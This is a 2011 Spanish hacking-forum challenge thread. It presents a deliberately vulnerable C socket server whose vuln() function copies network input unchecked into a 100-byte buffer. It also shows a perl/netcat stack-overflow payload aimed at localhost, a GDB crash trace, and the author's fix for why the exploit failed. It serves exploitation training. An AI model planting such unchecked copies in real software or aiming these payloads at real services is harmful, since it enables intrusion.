elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
26 Mayo 2012, 10:59  


Tema destacado: Entra al canal IRC oficial de #elhacker.net

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Seguridad
| | |-+  Desafíos - Wargames (Moderador: Kasswed)
| | | |-+  [RETO] Adivina POR QUÉ no funciona...
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [RETO] Adivina POR QUÉ no funciona...  (Leído 2,018 veces)
Garfield07


Desconectado Desconectado

Mensajes: 1.123


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
[RETO] Adivina POR QUÉ no funciona...
« en: 18 Febrero 2011, 00:05 »

MODF: Como veo que no interesa mucho resolverlo (mi bandeja está a cero) pongo la respuesta...
Código
 buffer [cont-1]='\0';
Ahí se fastidia todo. El último byte se pone a cero. Como se arregla? Pues poniendo un último byte (por ejemplo, un nop) al final de la cadena...
Código
 sagrini@sagrini:~$ perl -e 'print "\x90"x12 . "A"x92 . "\x7c\xfb\xff\xbf" . "x90"' | nc -vv localhost 31335

Un saludo!
____________________________________________________________________________________________________________

Aclaro que esto es algo que ya he solucionado, sólo que me ha resultado tan curioso que lo he puesto aquí xD.
Pista: Todo consiste en leer.

Bueno, estaba preparando todo para el taller de exploiting y me he encontrado con una situación un tanto curiosa...
Tengo este código vulnerable en C...
Código
#include <sys/socket.h>
#include <arpa/inet.h>
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
#include <signal.h>
#include <time.h>
 
int socketfd, newsocket;
 
int feo ()
{
printf ("FEO");
exit (1);
}
 
int vuln (char *trampa)
{
char buffer [100];
strcpy (buffer, trampa);
}
 
void shutup (int signal)
{
times ();
printf ("Shutting down...\n\n");
close (newsocket);
close (socketfd);
exit (0);
}
 
int times ()
{
time_t now=time (0);
struct tm *ahora;
char buffer [40];
ahora=localtime ((const time_t*)&now);
strftime (buffer, 40, "%d/%m/%Y %H:%M:%S" , ahora);
printf ("%s   ", buffer);
return 0;
}
 
int main (int argc, char *argv [])
{
time_t now=time (0);
struct tm *ahora;
char hora [40];
ahora=localtime ((const time_t*)&now);
strftime (hora, 40, "%d/%m/%Y %H:%M:%S" , ahora);
printf ("SmallServ 2.0 - By Sagrini - Sagrini 2010 - %s\n", hora);
 
if (getuid()!=0)
{
printf ("This proccess must be run by root.\n\n");
return 1;
}
if (argc<2)
{
printf ("Use: %s <PORT>\n\n", argv [0]);
return 1;
}
int cont;
struct sockaddr_in client, host;
char buffer [1024];
int size=sizeof (client);
 
socketfd=socket (2, 1 ,  0);
host.sin_family=AF_INET;
host.sin_port=htons (atoi (argv [1]));
host.sin_addr.s_addr=0;
bind (socketfd, (struct sockaddr*)&host, sizeof (struct sockaddr));
 
listen (socketfd, 3);
 
times ();
printf ("Starting up...\n\n");
 
signal (SIGTERM, shutup);
signal (SIGINT, shutup);
 
while (1)
{
newsocket=accept (socketfd, (struct sockaddr*)&client, &size);
 
times ();
printf ("Got connection from %s:%d\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));
 
cont=recv (newsocket, &buffer, 1024, 0);
while (cont>2)
{
times ();
buffer [cont-1]='\0';
printf ("RECV %d bytes: %s\n", cont, buffer);
 
vuln (buffer);
cont=recv (newsocket, &buffer, 1024, 0);
}
times ();
printf ("Finishing connection from %s:%d\n\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));
close (newsocket);
}
close (socketfd);
return 0;
}
 

Y lo estaba explotando con este comando...
Código:
sagrini@sagrini:~$ perl -e 'print "\x90"x12 . "A"x92 . "\x7c\xfb\xff\xbf"' | nc -vv localhost 31335

Ahora, abría con GDB y me mostraba esto...
Código:
(gdb) r 31335
Starting program: /home/sagrini/serv 31335
SmallServ 2.0 - By Sagrini - Sagrini 2010 - 18/02/2011 00:02:07
18/02/2011 00:02:07   Starting up...

18/02/2011 00:02:10   Got connection from 127.0.0.1:57358
18/02/2011 00:02:10   RECV 108 bytes: ������������AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|��

Program received signal SIGSEGV, Segmentation fault.
0x00fffb7c in ?? ()
(gdb)

La pregunta es... ¿qué le pasa?
PD: Algunos os reiréis del código vulnerable, pero es lo que tenía a mano xD luego lo pasaremos xD
PD2: Es algo sencillo, pero me ha distraído un rato. Por favor, respuestas por PM xD.

Ganadores
Nadie xD


« Última modificación: 11 Marzo 2011, 20:40 por Sagrini » En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
h3ct0r

Desconectado Desconectado

Mensajes: 68


Hail to the king baby!


Ver Perfil
Re: [RETO] Adivina POR QUÉ no funciona...
« Respuesta #1 en: 11 Junio 2011, 23:46 »

Hola que tal, podrías dar una información mas detallada de que hace ese programa vulnerable y que es lo que se intentaba explotar? Saludos!


En línea

[img[/img]
Died

Desconectado Desconectado

Mensajes: 32


Ver Perfil
Re: [RETO] Adivina POR QUÉ no funciona...
« Respuesta #2 en: 12 Junio 2011, 21:55 »

Usaba ese programa como ejemplo para el texto que estaba escribiendo hace un tiempo. Me encontré con ese problema y tardé una media hora en resolverlo, así que lo modifiqué un poco para colgarlo como reto.

PS: No revivas temas "viejos".
Un saludo. Sagrini
En línea
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
--- adivina que --- Basic5 TE ESPIA « 1 2 »
Programación Visual Basic
oPen syLar 19 1,868 Último mensaje 20 Enero 2007, 17:23
por Sancho.Mazorka
Adivina la frase escondida.
Desafíos - Wargames
Ferсhu 1 2,134 Último mensaje 26 Septiembre 2007, 06:48
por Carloswaldo
Adivina como hice este hemoso XSS!
Nivel Web
Jubjub 12 2,152 Último mensaje 1 Junio 2009, 01:40
por s E t H
Algoritmo que adivina el número de la seguridad social en EEUU
Noticias
wolfbcn 0 380 Último mensaje 8 Julio 2009, 13:34
por wolfbcn
Adivina la cancion!
Foro Libre
ignorantev1.1 6 861 Último mensaje 25 Noviembre 2010, 19:31
por Psyke1
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines